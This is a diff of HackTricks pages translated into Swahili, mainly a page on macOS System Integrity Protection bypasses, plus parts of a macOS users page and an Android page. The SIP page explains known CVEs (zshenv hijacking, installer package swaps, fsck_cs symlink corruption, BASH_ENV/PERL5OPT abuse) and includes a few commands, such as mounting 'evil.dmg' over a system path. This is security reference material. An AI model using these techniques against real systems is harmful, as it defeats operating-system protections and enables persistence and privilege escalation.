||||
### Inexistent SIP file
|
||||
|
||||
|
|
@ -123,29 +110,29 @@ Ruhusa **`com.apple.rootless.install.heritable`** inaruhusu kupita SIP
|
|||
|
||||
#### [CVE-2019-8561](https://objective-see.org/blog/blog\_0x42.html) <a href="#cve" id="cve"></a>
|
||||
|
||||
Iligundulika kwamba ilikuwa inawezekana **kubadilisha pakiti ya installer baada ya mfumo kuthibitisha saini yake** ya msimbo na kisha, mfumo ungeweka pakiti mbaya badala ya asili. Kadri vitendo hivi vilifanywa na **`system_installd`**, ingekuwa inaruhusu kupita SIP.
|
||||
Iligundulika kwamba ilikuwa inawezekana **kubadilisha pakiti ya installer baada ya mfumo kuthibitisha saini yake** na kisha, mfumo ungeweka pakiti mbaya badala ya asili. Kadri vitendo hivi vilifanywa na **`system_installd`**, ingekuwa inaruhusu kupita SIP.
|
||||
|
||||
#### [CVE-2020–9854](https://objective-see.org/blog/blog\_0x4D.html) <a href="#cve-unauthd-chain" id="cve-unauthd-chain"></a>
|
||||
|
||||
Ikiwa pakiti ilipakiwa kutoka picha iliyowekwa au diski ya nje **installer** ingekuwa **inaendesha** binary kutoka **safu hiyo ya faili** (badala ya eneo lililokuwa na ulinzi wa SIP), ikifanya **`system_installd`** kuendesha binary isiyo na mpangilio.
|
||||
Ikiwa pakiti ilipakiwa kutoka picha iliyowekwa au diski ya nje **installer** ingekuwa **inasimamia** binary kutoka **safu hiyo ya faili** (badala ya eneo lililokuwa na ulinzi wa SIP), ikifanya **`system_installd`** kuendesha binary isiyo na mpangilio.
|
||||
|
||||
#### CVE-2021-30892 - Shrootless
|
||||
|
||||
[**Watafiti kutoka kwenye chapisho hili la blog**](https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/) waligundua udhaifu katika mfumo wa Ulinzi wa Uadilifu wa Mfumo (SIP) wa macOS, uliopewa jina la 'Shrootless'. Udhaifu huu unahusiana na **`system_installd`** daemon, ambayo ina ruhusa, **`com.apple.rootless.install.heritable`**, inayoruhusu mchakato wowote wa mtoto kupita vizuizi vya mfumo wa faili wa SIP.
|
||||
[**Watafiti kutoka kwenye chapisho hili la blog**](https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/) waligundua udhaifu katika mfumo wa Ulinzi wa Uaminifu wa Mfumo wa macOS (SIP), uliopewa jina la 'Shrootless'. Udhaifu huu unahusiana na **`system_installd`** daemon, ambayo ina ruhusa, **`com.apple.rootless.install.heritable`**, inayoruhusu mchakato wowote wa mtoto wake kupita vizuizi vya mfumo wa faili wa SIP.
|
||||
|
||||
**`system_installd`** daemon itainua pakiti ambazo zimewekwa saini na **Apple**.
|
||||
**`system_installd`** daemon itasakinisha pakiti ambazo zimewekwa saini na **Apple**.
|
||||
|
||||
Watafiti waligundua kwamba wakati wa ufungaji wa pakiti iliyotiwa saini na Apple (.pkg file), **`system_installd`** **inaendesha** yoyote **post-install** scripts zilizojumuishwa katika pakiti. Scripts hizi zinaendeshwa na shell ya kawaida, **`zsh`**, ambayo moja kwa moja **inaendesha** amri kutoka kwa **`/etc/zshenv`** faili, ikiwa ipo, hata katika hali isiyo ya mwingiliano. Tabia hii inaweza kutumiwa na washambuliaji: kwa kuunda faili mbaya ya `/etc/zshenv` na kusubiri **`system_installd` itumie `zsh`**, wangeweza kufanya operesheni zisizo na mpangilio kwenye kifaa.
|
||||
Watafiti waligundua kwamba wakati wa usakinishaji wa pakiti iliyotiwa saini na Apple (.pkg file), **`system_installd`** **inaendesha** yoyote **post-install** scripts zilizojumuishwa katika pakiti. Scripts hizi zinaendeshwa na shell ya kawaida, **`zsh`**, ambayo moja kwa moja **inaendesha** amri kutoka kwa **`/etc/zshenv`** faili, ikiwa ipo, hata katika hali isiyo ya mwingiliano. Tabia hii inaweza kutumiwa na washambuliaji: kwa kuunda faili mbaya ya `/etc/zshenv` na kusubiri **`system_installd` itumie `zsh`**, wangeweza kufanya operesheni zisizo na mpangilio kwenye kifaa.
|
||||
|
||||
Zaidi ya hayo, iligundulika kwamba **`/etc/zshenv` inaweza kutumika kama mbinu ya jumla ya shambulio**, sio tu kwa kupita SIP. Kila wasifu wa mtumiaji una faili `~/.zshenv`, ambayo inafanya kazi sawa na `/etc/zshenv` lakini haitahitaji ruhusa za root. Faili hii inaweza kutumika kama mbinu ya uthabiti, ikichochewa kila wakati `zsh` inaanza, au kama mbinu ya kuinua ruhusa. Ikiwa mtumiaji wa admin anainua hadi root kwa kutumia `sudo -s` au `sudo <command>`, faili ya `~/.zshenv` itachochewa, ikiongeza kwa ufanisi hadi root.
|
||||
Zaidi ya hayo, iligundulika kwamba **`/etc/zshenv` inaweza kutumika kama mbinu ya jumla ya shambulio**, sio tu kwa kupita SIP. Kila wasifu wa mtumiaji una faili `~/.zshenv`, ambayo inafanya kazi sawa na `/etc/zshenv` lakini haitahitaji ruhusa za root. Faili hii inaweza kutumika kama mbinu ya uthabiti, ikichochewa kila wakati `zsh` inaanza, au kama mbinu ya kupandisha ruhusa. Ikiwa mtumiaji wa admin anapandisha hadi root kwa kutumia `sudo -s` au `sudo <command>`, faili ya `~/.zshenv` itachochewa, ikipandisha kwa ufanisi hadi root.
|
||||
|
||||
#### [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/)
|
||||
|
||||
Katika [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/) iligundulika kwamba mchakato sawa wa **`system_installd`** bado unaweza kutumiwa vibaya kwa sababu ilikuwa ikiweka **script ya baada ya ufungaji ndani ya folda yenye jina la nasibu iliyo na ulinzi wa SIP ndani ya `/tmp`**. Jambo ni kwamba **`/tmp` yenyewe haina ulinzi wa SIP**, hivyo ilikuwa inawezekana **kuiweka** picha **ya virtual juu yake**, kisha **installer** ingekuwa ikiweka script ya **post-install**, **kuondoa** picha ya virtual, **kuunda upya** folda zote na **kuongeza** script ya **post installation** na **payload** ya kutekeleza.
|
||||
Katika [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/) iligundulika kwamba mchakato sawa wa **`system_installd`** bado unaweza kutumiwa vibaya kwa sababu ilikuwa ikiweka **script ya baada ya usakinishaji ndani ya folda yenye jina la nasibu iliyo na ulinzi wa SIP ndani ya `/tmp`**. Jambo ni kwamba **`/tmp` yenyewe haina ulinzi wa SIP**, hivyo ilikuwa inawezekana **kuiweka** picha **ya virtual juu yake**, kisha **installer** ingekuwa ikiweka script ya **post-install**, **kuondoa** picha ya virtual, **kuunda upya** folda zote na **kuongeza** script ya **post installation** na **payload** ya kutekeleza.
|
||||
|
||||
#### [fsck\_cs utility](https://www.theregister.com/2016/03/30/apple\_os\_x\_rootless/)
|
||||
|
||||
Udhaifu ulitambuliwa ambapo **`fsck_cs`** ilipotoshwa kuharibu faili muhimu, kutokana na uwezo wake wa kufuata **viungo vya alama**. Kwa haswa, washambuliaji walitengeneza kiungo kutoka _`/dev/diskX`_ hadi faili `/System/Library/Extensions/AppleKextExcludeList.kext/Contents/Info.plist`. Kuendesha **`fsck_cs`** kwenye _`/dev/diskX`_ kulisababisha uharibifu wa `Info.plist`. Uadilifu wa faili hii ni muhimu kwa SIP (Ulinzi wa Uadilifu wa Mfumo) wa mfumo wa uendeshaji, ambayo inasimamia upakiaji wa nyongeza za kernel. Mara tu ikiharibiwa, uwezo wa SIP wa kudhibiti uondoaji wa kernel unaharibiwa.
|
||||
Udhaifu ulitambuliwa ambapo **`fsck_cs`** ilipotoshwa kuharibu faili muhimu, kutokana na uwezo wake wa kufuata **viungo vya ishara**. Kwa haswa, washambuliaji walitengeneza kiungo kutoka _`/dev/diskX`_ hadi faili `/System/Library/Extensions/AppleKextExcludeList.kext/Contents/Info.plist`. Kutekeleza **`fsck_cs`** kwenye _`/dev/diskX`_ kulisababisha uharibifu wa `Info.plist`. Uaminifu wa faili hii ni muhimu kwa SIP (Ulinzi wa Uaminifu wa Mfumo) wa mfumo wa uendeshaji, ambayo inasimamia upakiaji wa nyongeza za kernel. Mara baada ya kuharibika, uwezo wa SIP wa kudhibiti uondoaji wa kernel unaharibiwa.
|
||||
|
||||
Amri za kutumia udhaifu huu ni:
|
||||
```bash
|
||||
|
|
@ -167,17 +154,17 @@ hdiutil attach -mountpoint /System/Library/Snadbox/ evil.dmg
|
|||
```
|
||||
#### [Upgrader bypass (2016)](https://objective-see.org/blog/blog\_0x14.html)
|
||||
|
||||
Mfumo umewekwa kuanzisha kutoka kwa picha ya diski ya msaidizi iliyo ndani ya `Install macOS Sierra.app` ili kuboresha OS, ikitumia zana ya `bless`. Amri inayotumika ni kama ifuatavyo:
|
||||
Mfumo umewekwa kuanzisha kutoka kwa picha ya diski ya mfunguo iliyojumuishwa ndani ya `Install macOS Sierra.app` ili kuboresha OS, ikitumia zana ya `bless`. Amri inayotumika ni kama ifuatavyo:
|
||||
```bash
|
||||
/usr/sbin/bless -setBoot -folder /Volumes/Macintosh HD/macOS Install Data -bootefi /Volumes/Macintosh HD/macOS Install Data/boot.efi -options config="\macOS Install Data\com.apple.Boot" -label macOS Installer
|
||||
```
|
||||
The security of this process can be compromised if an attacker alters the upgrade image (`InstallESD.dmg`) before booting. The strategy involves substituting a dynamic loader (dyld) with a malicious version (`libBaseIA.dylib`). This replacement results in the execution of the attacker's code when the installer is initiated.
|
||||
|
||||
Usalama wa mchakato huu unaweza kuathiriwa ikiwa mshambuliaji atabadilisha picha ya sasisho (`InstallESD.dmg`) kabla ya kuanzisha. Mkakati huu unahusisha kubadilisha mzigo wa dinamik (dyld) na toleo la uhalifu (`libBaseIA.dylib`). Badiliko hili linapelekea utekelezaji wa msimbo wa mshambuliaji wakati mchakato wa usakinishaji unapoanzishwa.
|
||||
Usalama wa mchakato huu unaweza kuathiriwa ikiwa mshambuliaji atabadilisha picha ya sasisho (`InstallESD.dmg`) kabla ya kuanzisha. Mkakati huu unahusisha kubadilisha mzigo wa dinamik (dyld) na toleo la uhalifu (`libBaseIA.dylib`). Badiliko hili linapelekea utekelezaji wa msimbo wa mshambuliaji wakati mchakato wa kusakinisha unapoanzishwa.
|
||||
|
||||
The attacker's code gains control during the upgrade process, exploiting the system's trust in the installer. The attack proceeds by altering the `InstallESD.dmg` image via method swizzling, particularly targeting the `extractBootBits` method. This allows the injection of malicious code before the disk image is employed.
|
||||
|
||||
Msimbo wa mshambuliaji unapata udhibiti wakati wa mchakato wa sasisho, ukitumia imani ya mfumo kwa mchakato wa usakinishaji. Shambulio linaendelea kwa kubadilisha picha ya `InstallESD.dmg` kupitia mbinu ya swizzling, hasa ikilenga mbinu ya `extractBootBits`. Hii inaruhusu sindano ya msimbo wa uhalifu kabla ya picha ya diski kutumika.
|
||||
Msimbo wa mshambuliaji unapata udhibiti wakati wa mchakato wa sasisho, ukitumia imani ya mfumo kwa mchakato wa kusakinisha. Shambulio linaendelea kwa kubadilisha picha ya `InstallESD.dmg` kupitia mbinu ya swizzling, hasa ikilenga mbinu ya `extractBootBits`. Hii inaruhusu sindano ya msimbo wa uhalifu kabla ya picha ya diski kutumika.
|
||||
|
||||
Moreover, within the `InstallESD.dmg`, there's a `BaseSystem.dmg`, which serves as the upgrade code's root file system. Injecting a dynamic library into this allows the malicious code to operate within a process capable of altering OS-level files, significantly increasing the potential for system compromise.
|
||||
|
||||
|
|
@ -187,7 +174,7 @@ Zaidi ya hayo, ndani ya `InstallESD.dmg`, kuna `BaseSystem.dmg`, ambayo inatumik
|
|||
|
||||
In this talk from [**DEF CON 31**](https://www.youtube.com/watch?v=zxZesAN-TEk), it's shown how **`systemmigrationd`** (which can bypass SIP) executes a **bash** and a **perl** script, which can be abused via env variables **`BASH_ENV`** and **`PERL5OPT`**.
|
||||
|
||||
Katika mazungumzo haya kutoka [**DEF CON 31**](https://www.youtube.com/watch?v=zxZesAN-TEk), inaonyeshwa jinsi **`systemmigrationd`** (ambayo inaweza kupita SIP) inatekeleza **bash** na **perl** script, ambazo zinaweza kutumika vibaya kupitia mabadiliko ya mazingira **`BASH_ENV`** na **`PERL5OPT`**.
|
||||
Katika mazungumzo haya kutoka [**DEF CON 31**](https://www.youtube.com/watch?v=zxZesAN-TEk), inaonyeshwa jinsi **`systemmigrationd`** (ambayo inaweza kupita SIP) inavyotekeleza **bash** na **perl** script, ambazo zinaweza kutumika vibaya kupitia mabadiliko ya mazingira **`BASH_ENV`** na **`PERL5OPT`**.
|
||||
|
||||
#### CVE-2023-42860 <a href="#cve-a-detailed-look" id="cve-a-detailed-look"></a>
|
||||
|
||||
|
|
@ -197,7 +184,7 @@ Kama [**ilivyoelezwa katika chapisho hili la blog**](https://blog.kandji.io/appl
|
|||
```bash
|
||||
/usr/bin/chflags -h norestricted "${SHARED_SUPPORT_PATH}/SharedSupport.dmg"
|
||||
```
|
||||
and ilikuw possible kuunda symlink katika `${SHARED_SUPPORT_PATH}/SharedSupport.dmg` ambayo ingemruhusu mtumiaji **kuzuia kikomo chochote, akipita ulinzi wa SIP**.
|
||||
and ilikuw possible kuunda symlink katika `${SHARED_SUPPORT_PATH}/SharedSupport.dmg` ambayo ingemruhusu mtumiaji **kuzuia kikomo chochote, kupita ulinzi wa SIP**.
|
||||
|
||||
### **com.apple.rootless.install**
|
||||
|
||||
|
|
@ -205,7 +192,7 @@ and ilikuw possible kuunda symlink katika `${SHARED_SUPPORT_PATH}/SharedSupport.
|
|||
Ruhusa **`com.apple.rootless.install`** inaruhusu kupita SIP
|
||||
{% endhint %}
|
||||
|
||||
Ruhusa `com.apple.rootless.install` inajulikana kupita Ulinzi wa Uadilifu wa Mfumo (SIP) kwenye macOS. Hii ilitajwa kwa kiasi fulani kuhusiana na [**CVE-2022-26712**](https://jhftss.github.io/CVE-2022-26712-The-POC-For-SIP-Bypass-Is-Even-Tweetable/).
|
||||
Ruhusa `com.apple.rootless.install` inajulikana kupita Ulinzi wa Uadilifu wa Mfumo (SIP) kwenye macOS. Hii ilitajwa kwa kiasi kikubwa kuhusiana na [**CVE-2022-26712**](https://jhftss.github.io/CVE-2022-26712-The-POC-For-SIP-Bypass-Is-Even-Tweetable/).
|
||||
|
||||
Katika kesi hii maalum, huduma ya mfumo wa XPC iliyoko katika `/System/Library/PrivateFrameworks/ShoveService.framework/Versions/A/XPCServices/SystemShoveService.xpc` ina ruhusa hii. Hii inaruhusu mchakato unaohusiana kupita vikwazo vya SIP. Zaidi ya hayo, huduma hii inatoa njia ambayo inaruhusu kuhamasisha faili bila kutekeleza hatua zozote za usalama.
|
||||
|
||||
|
|
@ -213,11 +200,11 @@ Katika kesi hii maalum, huduma ya mfumo wa XPC iliyoko katika `/System/Library/P
|
|||
|
||||
Sealed System Snapshots ni kipengele kilichozinduliwa na Apple katika **macOS Big Sur (macOS 11)** kama sehemu ya **Ulinzi wa Uadilifu wa Mfumo (SIP)** ili kutoa safu ya ziada ya usalama na utulivu wa mfumo. Kimsingi ni toleo la mfumo wa volume lisiloweza kubadilishwa.
|
||||
|
||||
Hapa kuna muonekano wa kina:
|
||||
Hapa kuna muonekano wa kina zaidi:
|
||||
|
||||
1. **Mfumo Usio Badilika**: Sealed System Snapshots hufanya volume ya mfumo wa macOS "isiyoweza kubadilishwa", ikimaanisha kwamba haiwezi kubadilishwa. Hii inazuia mabadiliko yoyote yasiyoidhinishwa au ya bahati mbaya kwenye mfumo ambayo yanaweza kuathiri usalama au utulivu wa mfumo.
|
||||
2. **Maktaba ya Programu za Mfumo**: Unapofunga masasisho au maboresho ya macOS, macOS huunda snapshot mpya ya mfumo. Volume ya kuanzisha ya macOS kisha inatumia **APFS (Apple File System)** kubadilisha kwenda kwenye snapshot hii mpya. Mchakato mzima wa kutekeleza masasisho unakuwa salama zaidi na wa kuaminika kwani mfumo unaweza kila wakati kurudi kwenye snapshot ya awali ikiwa kitu kikienda vibaya wakati wa masasisho.
|
||||
3. **Kutenganisha Data**: Kwa kushirikiana na dhana ya Kutenganisha Data na Mfumo iliyozintroduced katika macOS Catalina, kipengele cha Sealed System Snapshot kinahakikisha kwamba data na mipangilio yako yote huhifadhiwa kwenye volume tofauti ya "**Data**". Kutenganisha hii kunafanya data yako kuwa huru kutoka kwa mfumo, ambayo inarahisisha mchakato wa masasisho ya mfumo na kuimarisha usalama wa mfumo.
|
||||
1. **Mfumo Usio Badilika**: Sealed System Snapshots hufanya volume ya mfumo wa macOS "isiyoweza kubadilishwa", ikimaanisha kwamba haiwezi kubadilishwa. Hii inazuia mabadiliko yoyote yasiyoidhinishwa au ya bahati ambayo yanaweza kuathiri usalama au utulivu wa mfumo.
|
||||
2. **Maktaba ya Programu za Mfumo**: Unapoweka masasisho au maboresho ya macOS, macOS huunda snapshot mpya ya mfumo. Volume ya kuanzisha ya macOS kisha inatumia **APFS (Apple File System)** kubadilisha kwenda kwenye snapshot hii mpya. Mchakato mzima wa kutekeleza masasisho unakuwa salama zaidi na wa kuaminika kwani mfumo unaweza kila wakati kurudi kwenye snapshot ya awali ikiwa kitu kikienda vibaya wakati wa masasisho.
|
||||
3. **Kutenganisha Data**: Kwa kushirikiana na dhana ya Kutenganisha Data na Mfumo iliyozinduliwa katika macOS Catalina, kipengele cha Sealed System Snapshot kinahakikisha kwamba data na mipangilio yako yote huhifadhiwa kwenye volume tofauti ya "**Data**". Kutenganisha hii kunafanya data yako kuwa huru kutoka kwa mfumo, ambayo inarahisisha mchakato wa masasisho ya mfumo na kuimarisha usalama wa mfumo.
|
||||
|
||||
Kumbuka kwamba snapshots hizi zinadhibitiwa kiotomatiki na macOS na hazichukui nafasi ya ziada kwenye diski yako, shukrani kwa uwezo wa kushiriki nafasi wa APFS. Pia ni muhimu kutambua kwamba snapshots hizi ni tofauti na **Time Machine snapshots**, ambazo ni nakala za mfumo mzima zinazoweza kufikiwa na mtumiaji.
|
||||
|
||||
|
|
@ -276,17 +263,6 @@ Zaidi ya hayo, diski ya snapshot pia imewekwa kama **read-only**:
|
|||
mount
|
||||
/dev/disk3s1s1 on / (apfs, sealed, local, read-only, journaled)
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia kama kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
|||
|
|
@ -1,71 +1,56 @@
|
|||
# Watumiaji wa macOS
|
||||
# macOS Users
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & zoezi AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & zoezi GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
### Common Users
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utaftaji inayotumia **dark-web** ambayo inatoa huduma za **bure** za kuangalia ikiwa kampuni au wateja wake wameathiriwa na **malware za wizi**.
|
||||
|
||||
Lengo kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulio ya ransomware yanayotokana na programu hasidi za kuiba taarifa.
|
||||
|
||||
Unaweza kutembelea tovuti yao na kujaribu injini yao **bure** kwa:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
### Watumiaji wa Kawaida
|
||||
|
||||
* **Daemon**: Mtumiaji aliyeandaliwa kwa ajili ya daemons ya mfumo. Majina ya akaunti za daemons ya chaguo-msingi kawaida huanza na "\_":
|
||||
* **Daemon**: Mtumiaji aliyehifadhiwa kwa ajili ya daemons za mfumo. Majina ya akaunti za daemon za kawaida huanza kwa "\_":
|
||||
|
||||
```bash
|
||||
_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs
|
||||
```
|
||||
* **Mgeni**: Akaunti kwa wageni wenye ruhusa kali
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
* **Guest**: Akaunti kwa wageni wenye ruhusa kali sana
|
||||
```bash
|
||||
state=("automaticTime" "afpGuestAccess" "filesystem" "guestAccount" "smbGuestAccess")
|
||||
for i in "${state[@]}"; do sysadminctl -"${i}" status; done;
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
* **Hakuna mtu**: Mchakato hutekelezwa na mtumiaji huyu wakati idhini chache inahitajika
|
||||
* **Hakuna mtu**: Mchakato unatekelezwa na mtumiaji huyu wakati ruhusa ndogo zinahitajika
|
||||
* **Root**
|
||||
|
||||
### Mamlaka ya Mtumiaji
|
||||
### Ruhusa za Mtumiaji
|
||||
|
||||
* **Mtumiaji wa Kawaida:** Msingi wa watumiaji. Mtumiaji huyu anahitaji idhini kutoka kwa mtumiaji wa admin anapojaribu kufunga programu au kutekeleza kazi nyingine za juu. Hawawezi kufanya hivyo peke yao.
|
||||
* **Mtumiaji wa Admin**: Mtumiaji ambaye kwa kawaida hufanya kazi kama mtumiaji wa kawaida lakini pia anaruhusiwa kutekeleza vitendo vya root kama vile kufunga programu na kazi nyingine za utawala. Watumiaji wote wanaoingia kwenye kikundi cha admin wanapewa **upatikanaji wa root kupitia faili ya sudoers**.
|
||||
* **Root**: Root ni mtumiaji anayeruhusiwa kutekeleza karibu kitendo chochote (kuna vizuizi vilivyowekwa na ulinzi kama Ulinzi wa Uadilifu wa Mfumo).
|
||||
* Kwa mfano root hawezi kuweka faili ndani ya `/System`
|
||||
* **Mtumiaji wa Kawaida:** Mtumiaji wa msingi zaidi. Mtumiaji huyu anahitaji ruhusa zinazotolewa na mtumiaji wa admin anapojaribu kufunga programu au kufanya kazi nyingine za juu. Hawawezi kufanya hivyo peke yao.
|
||||
* **Mtumiaji wa Admin**: Mtumiaji ambaye anafanya kazi mara nyingi kama mtumiaji wa kawaida lakini pia anaruhusiwa kufanya vitendo vya root kama vile kufunga programu na kazi nyingine za kiutawala. Watumiaji wote wanaotegemea kundi la admin **wanapewa ufikiaji wa root kupitia faili ya sudoers**.
|
||||
* **Root**: Root ni mtumiaji anayeruhusiwa kufanya karibu kila kitendo (kuna vizuizi vinavyowekwa na ulinzi kama vile Ulinzi wa Uadilifu wa Mfumo).
|
||||
* Kwa mfano root hataweza kuweka faili ndani ya `/System`
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & zoezi la Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & zoezi la Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,79 +1,71 @@
|
|||
# Msingi wa Maombi ya Android
|
||||
# Msingi wa Programu za Android
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
